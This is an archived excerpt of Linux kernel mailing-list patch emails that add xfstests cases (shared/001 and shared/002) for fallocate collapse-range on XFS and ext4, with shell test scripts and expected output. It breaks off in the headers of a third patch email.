2013 06:00:57 -0800 (PST) Received: from linkinjeon-Aspire-One-522.kornet ([61.84.85.87]) by mx.google.com with ESMTPSA id ie6sm11169834pbc.6.2013.12.08.06.00.54 for (version=TLSv1 cipher=ECDHE-RSA-RC4-SHA bits=128/128); Sun, 08 Dec 2013 06:00:57 -0800 (PST) From: Namjae Jeon X-Barracuda-Apparent-Source-IP: 61.84.85.87 To: viro@zeniv.linux.org.uk, dchinner@fromorbit.com, bpm@sgi.com, tytso@mit.edu, adilger.kernel@dilger.ca, jack@suse.cz Cc: linux-fsdevel@vger.kernel.org, xfs@oss.sgi.com, linux-ext4@vger.kernel.org, linux-kernel@vger.kernel.org, Namjae Jeon , Namjae Jeon , Ashish Sangwan Subject: [PATCH v4 5/10] xfstest: shared/001: Standard collapse range tests Date: Sun, 8 Dec 2013 23:00:49 +0900 X-ASG-Orig-Subj: [PATCH v4 5/10] xfstest: shared/001: Standard collapse range tests Message-Id: <1386511249-3421-1-git-send-email-linkinjeon@gmail.com> X-Mailer: git-send-email 1.7.9.5 X-Barracuda-Connect: mail-pb0-f44.google.com[209.85.160.44] X-Barracuda-Start-Time: 1386511257 X-Barracuda-Encrypted: RC4-SHA X-Barracuda-URL: http://192.48.157.11:80/cgi-mod/mark.cgi X-Virus-Scanned: by bsmtpd at sgi.com X-Barracuda-BRTS-Status: 1 X-Barracuda-Spam-Score: 0.00 X-Barracuda-Spam-Status: No, SCORE=0.00 using per-user scores of TAG_LEVEL=1000.0 QUARANTINE_LEVEL=1000.0 KILL_LEVEL=2.7 tests=DKIM_SIGNED, DKIM_VERIFIED X-Barracuda-Spam-Report: Code version 3.2, rules version 3.2.2.142934 Rule breakdown below pts rule name description ---- ---------------------- -------------------------------------------------- -0.00 DKIM_VERIFIED Domain Keys Identified Mail: signature passes verification 0.00 DKIM_SIGNED Domain Keys Identified Mail: message has a signature From: Namjae Jeon This testcase(001) tries to test various corner cases for fcollapse range functionality over different type of extents. Signed-off-by: Namjae Jeon Signed-off-by: Ashish Sangwan --- common/punch | 133 ++++++++++++++++++++++++++++---------------------- common/rc | 14 ++++++ tests/shared/001 | 65 ++++++++++++++++++++++++ tests/shared/001.out | 53 ++++++++++++++++++++ tests/shared/group | 1 + 5 files changed, 209 insertions(+), 57 deletions(-) create mode 100644 tests/shared/001 create mode 100644 tests/shared/001.out diff --git a/common/punch b/common/punch index a49638c..f401455 100644 --- a/common/punch +++ b/common/punch @@ -317,13 +317,23 @@ _test_generic_punch() map_cmd=$4 filter_cmd=$5 testfile=$6 + multiple=1 + + # + # If we are testing collapse range, we increare all the offsets of this + # test by a factor of 4. We do this because unlike punch, collapse + # range also decreases the size of file hence require bigger offsets. + # + if [ "$zero_cmd" == "fcollapse" ]; then + multiple=4 + fi echo " 1. into a hole" if [ "$remove_testfile" ]; then rm -f $testfile fi - $XFS_IO_PROG -f -c "truncate 20k" \ - -c "$zero_cmd 4k 8k" \ + $XFS_IO_PROG -f -c "truncate $(($multiple * 20))k" \ + -c "$zero_cmd $(($multiple * 4))k $(($multiple * 8))k" \ -c "$map_cmd -v" $testfile | $filter_cmd [ $? -ne 0 ] && die_now _md5_checksum $testfile @@ -332,9 +342,9 @@ _test_generic_punch() if [ "$remove_testfile" ]; then rm -f $testfile fi - $XFS_IO_PROG -f -c "truncate 20k" \ - -c "pwrite 0 20k" $sync_cmd \ - -c "$zero_cmd 4k 8k" \ + $XFS_IO_PROG -f -c "truncate $(($multiple * 20))k" \ + -c "pwrite 0 $(($multiple * 20))k" $sync_cmd \ + -c "$zero_cmd $(($multiple * 4))k $(($multiple * 8))k" \ -c "$map_cmd -v" $testfile | $filter_cmd [ $? -ne 0 ] && die_now _md5_checksum $testfile @@ -344,9 +354,9 @@ _test_generic_punch() if [ "$remove_testfile" ]; then rm -f $testfile fi - $XFS_IO_PROG -f -c "truncate 20k" \ - -c "$alloc_cmd 0 20k" \ - -c "$zero_cmd 4k 8k" \ + $XFS_IO_PROG -f -c "truncate $(($multiple * 20))k" \ + -c "$alloc_cmd 0 $(($multiple * 20))k" \ + -c "$zero_cmd $(($multiple * 4))k $(($multiple * 8))k" \ -c "$map_cmd -v" $testfile | $filter_cmd [ $? -ne 0 ] && die_now _md5_checksum $testfile @@ -356,9 +366,9 @@ _test_generic_punch() if [ "$remove_testfile" ]; then rm -f $testfile fi - $XFS_IO_PROG -f -c "truncate 20k" \ - -c "pwrite 8k 8k" $sync_cmd \ - -c "$zero_cmd 4k 8k" \ + $XFS_IO_PROG -f -c "truncate $(($multiple * 20))k" \ + -c "pwrite $(($multiple * 8))k $(($multiple * 8))k" $sync_cmd \ + -c "$zero_cmd $(($multiple * 4))k $(($multiple * 8))k" \ -c "$map_cmd -v" $testfile | $filter_cmd [ $? -ne 0 ] && die_now _md5_checksum $testfile @@ -368,9 +378,9 @@ _test_generic_punch() if [ "$remove_testfile" ]; then rm -f $testfile fi - $XFS_IO_PROG -f -c "truncate 20k" \ - -c "$alloc_cmd 8k 8k" \ - -c "$zero_cmd 4k 8k" \ + $XFS_IO_PROG -f -c "truncate $(($multiple * 20))k" \ + -c "$alloc_cmd $(($multiple * 8))k $(($multiple * 8))k" \ + -c "$zero_cmd $(($multiple * 4))k $(($multiple * 8))k" \ -c "$map_cmd -v" $testfile | $filter_cmd [ $? -ne 0 ] && die_now _md5_checksum $testfile @@ -380,9 +390,9 @@ _test_generic_punch() if [ "$remove_testfile" ]; then rm -f $testfile fi - $XFS_IO_PROG -f -c "truncate 20k" \ - -c "pwrite 0 8k" $sync_cmd \ - -c "$zero_cmd 4k 8k" \ + $XFS_IO_PROG -f -c "truncate $(($multiple * 20))k" \ + -c "pwrite 0 $(($multiple * 8))k" $sync_cmd \ + -c "$zero_cmd $(($multiple * 4))k $(($multiple * 8))k" \ -c "$map_cmd -v" $testfile | $filter_cmd [ $? -ne 0 ] && die_now _md5_checksum $testfile @@ -392,10 +402,10 @@ _test_generic_punch() if [ "$remove_testfile" ]; then rm -f $testfile fi - $XFS_IO_PROG -f -c "truncate 20k" \ - -c "pwrite 0 8k" $sync_cmd \ - -c "$alloc_cmd 8k 8k" \ - -c "$zero_cmd 4k 8k" \ + $XFS_IO_PROG -f -c "truncate $(($multiple * 20))k" \ + -c "pwrite 0 $(($multiple * 8))k" $sync_cmd \ + -c "$alloc_cmd $(($multiple * 8))k $(($multiple * 8))k" \ + -c "$zero_cmd $(($multiple * 4))k $(($multiple * 8))k" \ -c "$map_cmd -v" $testfile | $filter_cmd [ $? -ne 0 ] && die_now _md5_checksum $testfile @@ -404,9 +414,9 @@ _test_generic_punch() if [ "$remove_testfile" ]; then rm -f $testfile fi - $XFS_IO_PROG -f -c "truncate 20k" \ - -c "$alloc_cmd 0 8k" \ - -c "$zero_cmd 4k 8k" \ + $XFS_IO_PROG -f -c "truncate $(($multiple * 20))k" \ + -c "$alloc_cmd 0 $(($multiple * 8))k" \ + -c "$zero_cmd $(($multiple * 4))k $(($multiple * 8))k" \ -c "$map_cmd -v" $testfile | $filter_cmd [ $? -ne 0 ] && die_now _md5_checksum $testfile @@ -415,10 +425,10 @@ _test_generic_punch() if [ "$remove_testfile" ]; then rm -f $testfile fi - $XFS_IO_PROG -f -c "truncate 20k" \ - -c "$alloc_cmd 0 8k" \ - -c "pwrite 8k 8k" $sync_cmd \ - -c "$zero_cmd 4k 8k" \ + $XFS_IO_PROG -f -c "truncate $(($multiple * 20))k" \ + -c "$alloc_cmd 0 $(($multiple * 8))k" \ + -c "pwrite $(($multiple * 8))k $(($multiple * 8))k" $sync_cmd \ + -c "$zero_cmd $(($multiple * 4))k $(($multiple * 8))k" \ -c "$map_cmd -v" $testfile | $filter_cmd [ $? -ne 0 ] && die_now _md5_checksum $testfile @@ -428,9 +438,9 @@ _test_generic_punch() if [ "$remove_testfile" ]; then rm -f $testfile fi - $XFS_IO_PROG -f -c "truncate 20k" \ - -c "pwrite 8k 4k" $sync_cmd \ - -c "$zero_cmd 4k 12k" \ + $XFS_IO_PROG -f -c "truncate $(($multiple * 20))k" \ + -c "pwrite $(($multiple * 8))k $(($multiple * 4))k" $sync_cmd \ + -c "$zero_cmd $(($multiple * 4))k $(($multiple * 12))k" \ -c "$map_cmd -v" $testfile | $filter_cmd [ $? -ne 0 ] && die_now _md5_checksum $testfile @@ -439,12 +449,12 @@ _test_generic_punch() if [ "$remove_testfile" ]; then rm -f $testfile fi - $XFS_IO_PROG -f -c "truncate 20k" \ - -c "$alloc_cmd 0 20k" \ - -c "pwrite 0 8k" \ - -c "pwrite 12k 8k" $sync_cmd \ - -c "$punch_cmd 8k 4k" \ - -c "$zero_cmd 4k 12k" \ + $XFS_IO_PROG -f -c "truncate $(($multiple * 20))k" \ + -c "$alloc_cmd 0 $(($multiple * 20))k" \ + -c "pwrite 0 $(($multiple * 8))k" \ + -c "pwrite $(($multiple * 12))k $(($multiple * 8))k" $sync_cmd \ + -c "$punch_cmd $(($multiple * 8))k $(($multiple * 4))k" \ + -c "$zero_cmd $(($multiple * 4))k $(($multiple * 12))k" \ -c "$map_cmd -v" $testfile | $filter_cmd [ $? -ne 0 ] && die_now _md5_checksum $testfile @@ -454,10 +464,10 @@ _test_generic_punch() if [ "$remove_testfile" ]; then rm -f $testfile fi - $XFS_IO_PROG -f -c "truncate 20k" \ - -c "$alloc_cmd 0 20k" \ - -c "pwrite 8k 4k" $sync_cmd \ - -c "$zero_cmd 4k 12k" \ + $XFS_IO_PROG -f -c "truncate $(($multiple * 20))k" \ + -c "$alloc_cmd 0 $(($multiple * 20))k" \ + -c "pwrite $(($multiple * 8))k $(($multiple * 4))k" $sync_cmd \ + -c "$zero_cmd $(($multiple * 4))k $(($multiple * 12))k" \ -c "$map_cmd -v" $testfile | $filter_cmd [ $? -ne 0 ] && die_now _md5_checksum $testfile @@ -466,11 +476,11 @@ _test_generic_punch() if [ "$remove_testfile" ]; then rm -f $testfile fi - $XFS_IO_PROG -f -c "truncate 20k" \ - -c "$alloc_cmd 0 20k" \ - -c "pwrite 0k 8k" $sync_cmd \ - -c "pwrite 12k 8k" -c "fsync" \ - -c "$zero_cmd 4k 12k" \ + $XFS_IO_PROG -f -c "truncate $(($multiple * 20))k" \ + -c "$alloc_cmd 0 $(($multiple * 20))k" \ + -c "pwrite 0k $(($multiple * 4))k" $sync_cmd \ + -c "pwrite $(($multiple * 12))k $(($multiple * 8))k" -c "fsync" \ + -c "$zero_cmd $(($multiple * 4))k $(($multiple * 12))k" \ -c "$map_cmd -v" $testfile | $filter_cmd [ $? -ne 0 ] && die_now _md5_checksum $testfile @@ -478,9 +488,9 @@ _test_generic_punch() echo " 14. data -> hole @ EOF" rm -f $testfile - $XFS_IO_PROG -f -c "truncate 20k" \ - -c "pwrite 0 20k" $sync_cmd \ - -c "$zero_cmd 12k 8k" \ + $XFS_IO_PROG -f -c "truncate $(($multiple * 20))k" \ + -c "pwrite 0 $(($multiple * 20))k" $sync_cmd \ + -c "$zero_cmd $(($multiple * 12))k $(($multiple * 8))k" \ -c "$map_cmd -v" $testfile | $filter_cmd [ $? -ne 0 ] && die_now _md5_checksum $testfile @@ -489,13 +499,22 @@ _test_generic_punch() if [ "$remove_testfile" ]; then rm -f $testfile fi - $XFS_IO_PROG -f -c "truncate 20k" \ - -c "pwrite 0 20k" $sync_cmd \ - -c "$zero_cmd 0k 8k" \ + $XFS_IO_PROG -f -c "truncate $(($multiple * 20))k" \ + -c "pwrite 0 $(($multiple * 20))k" $sync_cmd \ + -c "$zero_cmd 0 $(($multiple * 8))k" \ -c "$map_cmd -v" $testfile | $filter_cmd [ $? -ne 0 ] && die_now _md5_checksum $testfile + # If zero_cmd is fcollpase, don't check unaligned offsets + if [ "$zero_cmd" == "fcollapse" ]; then + if [ "$remove_testfile" ]; then + rm -f $testfile + rm -f $testfile.2 + fi + return + fi + echo " 16. data -> cache cold ->hole" if [ "$remove_testfile" ]; then rm -f $testfile @@ -503,12 +522,12 @@ _test_generic_punch() else cp $testfile $testfile.2 fi - $XFS_IO_PROG -f -c "truncate 20k" \ - -c "pwrite 8k 12k" -c "fsync" $testfile.2 \ + $XFS_IO_PROG -f -c "truncate $(($multiple * 20))k" \ + -c "pwrite $(($multiple * 8))k $(($multiple * 12))k" -c "fsync" $testfile.2 \ > /dev/null - $XFS_IO_PROG -f -c "truncate 20k" \ - -c "pwrite 0 20k" $sync_cmd \ - -c "$zero_cmd 0k 8k" \ + $XFS_IO_PROG -f -c "truncate $(($multiple * 20))k" \ + -c "pwrite 0 $(($multiple * 20))k" $sync_cmd \ + -c "$zero_cmd 0k $(($multiple * 8))k" \ -c "fadvise -d" \ -c "$map_cmd -v" $testfile | $filter_cmd diff $testfile $testfile.2 diff --git a/common/rc b/common/rc index 5f61d57..3be4721 100644 --- a/common/rc +++ b/common/rc @@ -1259,6 +1259,20 @@ _require_xfs_io_falloc_punch() _notrun "xfs_io fallocate punch command failed (no fs support?)" } +# check that xfs_io, kernel and filesystem all support fallocate with collapse +# range +_require_xfs_io_falloc_collapse() +{ + testfile=$TEST_DIR/$$.falloc + testio=`$XFS_IO_PROG -f -c "pwrite 0 20k" -c "fsync" \ + -c "fcollapse 4k 8k" $testfile 2>&1` + rm -f $testfile 2>&1 > /dev/null + echo $testio | grep -q "not found" && \ + _notrun "xfs_io fallocate collapse range support is missing" + echo $testio | grep -q "Operation not supported" && \ + _notrun "xfs_io fallocate collapse range failed (no fs support?)" +} + # check that xfs_io, kernel and filesystem support fiemap _require_xfs_io_fiemap() { diff --git a/tests/shared/001 b/tests/shared/001 new file mode 100644 index 0000000..b3ebbba --- /dev/null +++ b/tests/shared/001 @@ -0,0 +1,65 @@ +#! /bin/bash +# FS QA Test No. 1 +# +# Standard collapse range tests +# This testcase is one of the 4 testcases (shared 001 - 004) which tries to +# test various corner cases for fcollapse range functionality over different +# type of extents. These tests are based on generic/255 test case. +# For the type of tests, check the description of _test_generic_punch +# in common/rc. +#----------------------------------------------------------------------- +# Copyright (c) 2013 Samsung Electronics. All Rights Reserved. +# +# This program is free software; you can redistribute it and/or +# modify it under the terms of the GNU General Public License as +# published by the Free Software Foundation. +# +# This program is distributed in the hope that it would be useful, +# but WITHOUT ANY WARRANTY; without even the implied warranty of +# MERCHANTABILITY or FITNESS FOR A PARTICULAR PURPOSE. See the +# GNU General Public License for more details. +# +# You should have received a copy of the GNU General Public License +# along with this program; if not, write the Free Software Foundation, +# Inc., 51 Franklin St, Fifth Floor, Boston, MA 02110-1301 USA +# +#----------------------------------------------------------------------- +# + +seq=`basename $0` +seqres=$RESULT_DIR/$seq +echo "QA output created by $seq" + +here=`pwd` +tmp=/tmp/$$ +status=1 # failure is the default! + +_cleanup() +{ + rm -f $tmp.* +} + +trap "_cleanup ; exit \$status" 0 1 2 3 15 + +# get standard environment, filters and checks +# we need to include common/punch to get defination fo filter functions +. ./common/rc +. ./common/filter +. ./common/punch + +# real QA test starts here +_supported_fs xfs ext4 +_supported_os Linux + +_require_xfs_io_falloc_punch +_require_xfs_io_falloc +_require_xfs_io_fiemap +_require_xfs_io_falloc_collapse + +testfile=$TEST_DIR/$seq.$$ + +_test_generic_punch falloc fpunch fcollapse fiemap _filter_hole_fiemap $testfile +_check_test_fs + +status=0 +exit diff --git a/tests/shared/001.out b/tests/shared/001.out new file mode 100644 index 0000000..bff2bab --- /dev/null +++ b/tests/shared/001.out @@ -0,0 +1,53 @@ +QA output created by 001 + 1. into a hole +f4f35d60b3cc18aaa6d8d92f0cd3708a + 2. into allocated space +0: [0..95]: extent +f1894a71ac539f6f90426d98a4990a47 + 3. into unwritten space +0: [0..95]: extent +f4f35d60b3cc18aaa6d8d92f0cd3708a + 4. hole -> data +0: [0..31]: hole +1: [32..63]: extent +2: [64..95]: hole +d8f51c20223dbce5c7c90db87bc221b0 + 5. hole -> unwritten +0: [0..31]: hole +1: [32..63]: extent +2: [64..95]: hole +f4f35d60b3cc18aaa6d8d92f0cd3708a + 6. data -> hole +0: [0..31]: extent +1: [32..95]: hole +f07217d5ac7ffa15dd8910c4aa912674 + 7. data -> unwritten +0: [0..63]: extent +1: [64..95]: hole +f07217d5ac7ffa15dd8910c4aa912674 + 8. unwritten -> hole +0: [0..31]: extent +1: [32..95]: hole +f4f35d60b3cc18aaa6d8d92f0cd3708a + 9. unwritten -> data +0: [0..63]: extent +1: [64..95]: hole +d8f51c20223dbce5c7c90db87bc221b0 + 10. hole -> data -> hole +bb7df04e1b0a2570657527a7e108ae23 + 11. data -> hole -> data +0: [0..63]: extent +0f0151cbed83e4bf6e5bde26e82ab115 + 12. unwritten -> data -> unwritten +0: [0..63]: extent +bb7df04e1b0a2570657527a7e108ae23 + 13. data -> unwritten -> data +0: [0..63]: extent +0f0151cbed83e4bf6e5bde26e82ab115 + 14. data -> hole @ EOF +fallocate: Invalid argument +0: [0..159]: extent +7670f4830c6724a25e7c22d9eb9a6f4f + 15. data -> hole @ 0 +0: [0..95]: extent +f1894a71ac539f6f90426d98a4990a47 diff --git a/tests/shared/group b/tests/shared/group index 0ad640b..5562f92 100644 --- a/tests/shared/group +++ b/tests/shared/group @@ -3,6 +3,7 @@ # - do not start group names with a digit # - comment line before each group is "new" description # +001 auto prealloc 032 mkfs auto quick 051 acl udf auto quick 218 auto fsr quick -- 1.7.9.5 From linkinjeon@gmail.com Sun Dec 8 08:01:18 2013 Return-Path: X-Spam-Checker-Version: SpamAssassin 3.3.1 (2010-03-16) on oss.sgi.com X-Spam-Level: X-Spam-Status: No, score=0.0 required=5.0 tests=FREEMAIL_FROM,T_DKIM_INVALID autolearn=ham version=3.3.1 X-Original-To: xfs@oss.sgi.com Delivered-To: xfs@oss.sgi.com Received: from relay.sgi.com (relay1.corp.sgi.com [137.38.102.111]) by oss.sgi.com (Postfix) with ESMTP id 7697E7FAF for ; Sun, 8 Dec 2013 08:01:18 -0600 (CST) Received: from cuda.sgi.com (cuda1.sgi.com [192.48.157.11]) by relay1.corp.sgi.com (Postfix) with ESMTP id 3B6968F8054 for ; Sun, 8 Dec 2013 06:01:15 -0800 (PST) X-ASG-Debug-ID: 1386511270-04bdf01323101b60001-NocioJ Received: from mail-pd0-f177.google.com (mail-pd0-f177.google.com [209.85.192.177]) by cuda.sgi.com with ESMTP id yT8orWEco4ABJU1A (version=TLSv1 cipher=RC4-SHA bits=128 verify=NO) for ; Sun, 08 Dec 2013 06:01:11 -0800 (PST) X-Barracuda-Envelope-From: linkinjeon@gmail.com X-Barracuda-RBL-Trusted-Forwarder: 209.85.192.177 Received: by mail-pd0-f177.google.com with SMTP id q10so3615922pdj.22 for ; Sun, 08 Dec 2013 06:01:10 -0800 (PST) DKIM-Signature: v=1; a=rsa-sha256; c=relaxed/relaxed; d=gmail.com; s=20120113; h=from:to:cc:subject:date:message-id; bh=kVeasq5tWt2IjKNNKrIZb424MpS44OUb+kUrayySSEQ=; b=u2Zgn88Gzl+K/Prtl5v7HattRv/YGo3Nv/jyFBN9/GhlJ5K15S4Z89/KH2hY1xOQl4 5gozPpexiaSO4NJyn/4Jg3AAumFb8W6N6RKPZatdThcMswfvlJx59d8ndZYQbB1+Gd/L 7sbxN8OsvcSUT2poi0aHtlBroaLrA4R89AsxyDNro4J7L+A3qrXIOSa4aPxCJWqMrlcp 4Nv76x70vAQR/3ylxQ/gjNH1vavujiGsG6pYe4Gevc5EOB34uekEduS2eR3f+bljPpSD ulamht5dRvAXPiUIC8bCEKaVUsMTKjCHE7y5V8ooZG/pG5KV0dOwmJKAoN1ANn6wNICE aHWA== X-Barracuda-BBL-IP: nil X-Received: by 10.68.164.165 with SMTP id yr5mr15521084pbb.146.1386511270806; Sun, 08 Dec 2013 06:01:10 -0800 (PST) Received: from linkinjeon-Aspire-One-522.kornet ([61.84.85.87]) by mx.google.com with ESMTPSA id hw10sm11153003pbc.24.2013.12.08.06.01.08 for (version=TLSv1 cipher=ECDHE-RSA-RC4-SHA bits=128/128); Sun, 08 Dec 2013 06:01:10 -0800 (PST) From: Namjae Jeon X-Barracuda-Apparent-Source-IP: 61.84.85.87 To: viro@zeniv.linux.org.uk, dchinner@fromorbit.com, bpm@sgi.com, tytso@mit.edu, adilger.kernel@dilger.ca, jack@suse.cz Cc: linux-fsdevel@vger.kernel.org, xfs@oss.sgi.com, linux-ext4@vger.kernel.org, linux-kernel@vger.kernel.org, Namjae Jeon , Namjae Jeon , Ashish Sangwan Subject: [PATCH v4 6/10] xfstest: shared/002: Delayed allocation collapse range Date: Sun, 8 Dec 2013 23:01:03 +0900 X-ASG-Orig-Subj: [PATCH v4 6/10] xfstest: shared/002: Delayed allocation collapse range Message-Id: <1386511263-3455-1-git-send-email-linkinjeon@gmail.com> X-Mailer: git-send-email 1.7.9.5 X-Barracuda-Connect: mail-pd0-f177.google.com[209.85.192.177] X-Barracuda-Start-Time: 1386511271 X-Barracuda-Encrypted: RC4-SHA X-Barracuda-URL: http://192.48.157.11:80/cgi-mod/mark.cgi X-Virus-Scanned: by bsmtpd at sgi.com X-Barracuda-BRTS-Status: 1 X-Barracuda-Spam-Score: 0.00 X-Barracuda-Spam-Status: No, SCORE=0.00 using per-user scores of TAG_LEVEL=1000.0 QUARANTINE_LEVEL=1000.0 KILL_LEVEL=2.7 tests=DKIM_SIGNED, DKIM_VERIFIED X-Barracuda-Spam-Report: Code version 3.2, rules version 3.2.2.142934 Rule breakdown below pts rule name description ---- ---------------------- -------------------------------------------------- -0.00 DKIM_VERIFIED Domain Keys Identified Mail: signature passes verification 0.00 DKIM_SIGNED Domain Keys Identified Mail: message has a signature From: Namjae Jeon This testcase(002) tries to test various corner cases with delayed extents for fcollapse range functionality over different type of extents. Signed-off-by: Namjae Jeon Signed-off-by: Ashish Sangwan --- tests/shared/002 | 65 ++++++++++++++++++++++++++++++++++++++++++++++++++ tests/shared/002.out | 53 ++++++++++++++++++++++++++++++++++++++++ tests/shared/group | 1 + 3 files changed, 119 insertions(+) create mode 100755 tests/shared/002 create mode 100644 tests/shared/002.out diff --git a/tests/shared/002 b/tests/shared/002 new file mode 100755 index 0000000..54b957d --- /dev/null +++ b/tests/shared/002 @@ -0,0 +1,65 @@ +#! /bin/bash +# FS QA Test No. 2 +# +# Delayed allocation collapse range tests +# This testcase is one of the 4 testcases (shared 001 - 004) which tries to +# test various corner cases for fcollapse range functionality over different +# type of extents. These tests are based on generic/255 test case. +# For the type of tests, check the description of _test_generic_punch +# in common/rc. +#----------------------------------------------------------------------- +# Copyright (c) 2013 Samsung Electronics. All Rights Reserved. +# +# This program is free software; you can redistribute it and/or +# modify it under the terms of the GNU General Public License as +# published by the Free Software Foundation. +# +# This program is distributed in the hope that it would be useful, +# but WITHOUT ANY WARRANTY; without even the implied warranty of +# MERCHANTABILITY or FITNESS FOR A PARTICULAR PURPOSE. See the +# GNU General Public License for more details. +# +# You should have received a copy of the GNU General Public License +# along with this program; if not, write the Free Software Foundation, +# Inc., 51 Franklin St, Fifth Floor, Boston, MA 02110-1301 USA +# +#----------------------------------------------------------------------- +# + +seq=`basename $0` +seqres=$RESULT_DIR/$seq +echo "QA output created by $seq" + +here=`pwd` +tmp=/tmp/$$ +status=1 # failure is the default! + +_cleanup() +{ + rm -f $tmp.* +} + +trap "_cleanup ; exit \$status" 0 1 2 3 15 + +# get standard environment, filters and checks +# we need to include common/punch to get defination fo filter functions +. ./common/rc +. ./common/filter +. ./common/punch + +# real QA test starts here +_supported_fs xfs ext4 +_supported_os Linux + +_require_xfs_io_falloc_punch +_require_xfs_io_falloc +_require_xfs_io_fiemap +_require_xfs_io_falloc_collapse + +testfile=$TEST_DIR/$seq.$$ + +_test_generic_punch -d falloc fpunch fcollapse fiemap _filter_hole_fiemap $testfile +_check_test_fs + +status=0 +exit diff --git a/tests/shared/002.out b/tests/shared/002.out new file mode 100644 index 0000000..14c239c --- /dev/null +++ b/tests/shared/002.out @@ -0,0 +1,53 @@ +QA output created by 002 + 1. into a hole +f4f35d60b3cc18aaa6d8d92f0cd3708a + 2. into allocated space +0: [0..95]: extent +f1894a71ac539f6f90426d98a4990a47 + 3. into unwritten space +0: [0..95]: extent +f4f35d60b3cc18aaa6d8d92f0cd3708a + 4. hole -> data +0: [0..31]: hole +1: [32..63]: extent +2: [64..95]: hole +d8f51c20223dbce5c7c90db87bc221b0 + 5. hole -> unwritten +0: [0..31]: hole +1: [32..63]: extent +2: [64..95]: hole +f4f35d60b3cc18aaa6d8d92f0cd3708a + 6. data -> hole +0: [0..31]: extent +1: [32..95]: hole +f07217d5ac7ffa15dd8910c4aa912674 + 7. data -> unwritten +0: [0..63]: extent +1: [64..95]: hole +f07217d5ac7ffa15dd8910c4aa912674 + 8. unwritten -> hole +0: [0..31]: extent +1: [32..95]: hole +f4f35d60b3cc18aaa6d8d92f0cd3708a + 9. unwritten -> data +0: [0..63]: extent +1: [64..95]: hole +d8f51c20223dbce5c7c90db87bc221b0 + 10. hole -> data -> hole +bb7df04e1b0a2570657527a7e108ae23 + 11. data -> hole -> data +0: [0..63]: extent +0f0151cbed83e4bf6e5bde26e82ab115 + 12. unwritten -> data -> unwritten +0: [0..63]: extent +bb7df04e1b0a2570657527a7e108ae23 + 13. data -> unwritten -> data +0: [0..63]: extent +0f0151cbed83e4bf6e5bde26e82ab115 + 14. data -> hole @ EOF +fallocate: Invalid argument +0: [0..159]: extent +7670f4830c6724a25e7c22d9eb9a6f4f + 15. data -> hole @ 0 +0: [0..95]: extent +f1894a71ac539f6f90426d98a4990a47 diff --git a/tests/shared/group b/tests/shared/group index 5562f92..7230b28 100644 --- a/tests/shared/group +++ b/tests/shared/group @@ -4,6 +4,7 @@ # - comment line before each group is "new" description # 001 auto prealloc +002 auto prealloc 032 mkfs auto quick 051 acl udf auto quick 218 auto fsr quick -- 1.7.9.5 From linkinjeon@gmail.com Sun Dec 8 08:01:32 2013 Return-Path: X-Spam-Checker-Version: SpamAssassin 3.3.1 (2010-03-16) on oss.sgi.com X-Spam-Level: X-Spam-Status: No, score=0.0 required=5.0 tests=FREEMAIL_FROM,T_DKIM_INVALID autolearn=ham version=3.3.1 X-Original-To: xfs@oss.sgi.com Delivered-To: xfs@oss.sgi.com Received: from relay.sgi.com (relay3.corp.sgi.com [198.149.34.15]) by oss.sgi.com (Postfix) with ESMTP id B478E7F90 for ; Sun, 8 Dec 2013 08:01:32 -0600 (CST) Received: from cuda.sgi.com (cuda3.sgi.com [192.48.176.15]) by relay3.corp.sgi.com (Postfix) with ESMTP id 36795AC002 for ; Sun, 8 Dec 2013 06:01:29 -0800 (PST) X-ASG-Debug-ID: 1386511284-04cb6c537c5f8ba0001-NocioJ Received: from mail-pd0-f182.google.com (mail-pd0-f182.google.com [209.85.192.182]) by cuda.sgi.com with ESMTP id tF1uX3piQHYAdZF5 (version=TLSv1 cipher=RC4-SHA bits=128 verify=NO) for ; Sun, 08 Dec 2013 06:01:28 -0800 (PST) X-Barracuda-Envelope-From: linkinjeon@gmail.com X-Barracuda-RBL-Trusted-Forwarder: 209.85.192.182 Received: by mail-pd0-f182.google.com with SMTP id v10so3658775pde.27 for ; Sun, 08 Dec 2013 06:01:24 -0800 (PST) DKIM-Signature: v=1; a=rsa-sha256; c=relaxed/relaxed; d=gmail.com; s=20120113; h=from:to:cc:subject:date:message-id; bh=p6/QRFXxV1TGXUsc/JGu7uMwqO0buiW8zlRkKBwVMU4=; b=aVJkJpeEtRhBsMbqg28DpFryfHJJ8Vf41PgOXFYuLeXIbBztSvN1BoHDdULHpUaevO ecHGQV4J9QIeNsCrAYEL4fr+4S7aLIn8GoHfsl2JIXLKTIvghpcUmAPrzHAtQFIMu6hr xUTY6A+8GTsfteAf4nwuIVDwdvloGwcDQRIJ4q2/5Zr6j5bddrGGDt+EDApwegWNW+Ir 6EvDWRvY/S5P1ns/wotDvbiat/VXV5ZTb/5Dmt9LGDP02Y4LCjfB5Yz//llU6JKnqIp9 b8MVO2nVAZXNpsxbHf8brRxJ8H5hT0/FfeXp5VRcLoEHai4QGWa25BnjxiDiFW3ObS9T hC3A== X-Barracuda-BBL-IP: nil X-Received: by 10.68.247.36 with SMTP id yb4mr15577562pbc.138.1386511284439; Sun, 08 Dec 2013 06:01:24 -0800 (PST) Received: from linkinjeon-Aspire-One-522.kornet ([61.84.85.87]) by mx.google.com with ESMTPSA id yi10sm15479957pab.8.2013.12.08.06.01.21 for (version=TLSv1 cipher=ECDHE-RSA-RC4-SHA bits=128/128); Sun, 08 Dec 2013 06:01:23 -0800 (PST) From: Namjae Jeon X-Barracuda-Apparent-Source-IP: 61.84.85.87 To: viro@zeniv.linux.org.uk, dchinner@fromorbit.com, bpm@sgi.com, tytso@mit.edu, adilger.kernel@dilger.ca, jack@suse.cz Cc: linux-fsdevel@vger.kernel.org, xfs@oss.sgi.com, linux-ext4@vger.kernel.org, linux-kernel@vger.kernel.org, Namjae Jeon , Namjae Jeon , Ashish Sangwan Subject: [PATCH v4 7/10] xfstest: shared/003: Multi collapse range tests Date: Sun, 8 Dec 2013 23:01:16 +0900 X-ASG-Orig-Subj: [PATCH v4 7/10] xfstest: shared/003: Multi collapse range tests Message-Id: <1386511276-3489-1-git-send-email-linkinjeon@gmail.com> X-Mailer: git-send-email 1.7.9.5 X-Barracuda-Connect: mail-pd0-f182.google.com[209.85.192.182] X-Barracuda-Start-Time: 1386511287 X-Barracuda-Encrypted: RC4-SHA X-Barracuda-URL: http://192.48.176.15:80/cgi-mod/mark.cgi X-Virus-Scanned: by bsmtpd at sgi.com X-Barracuda-BRTS-Status: 1 X-Barracuda-Spam-Score: 0.00 X-Barracuda-Spam-Status: No, SCORE=0.00 using per-user scores of TAG_LEVEL=1000.0 QUARANTINE_LEVEL=1000.0 KILL_LEVEL=2.7 tests=DKIM_SIGNED, DKIM_VERIFIED 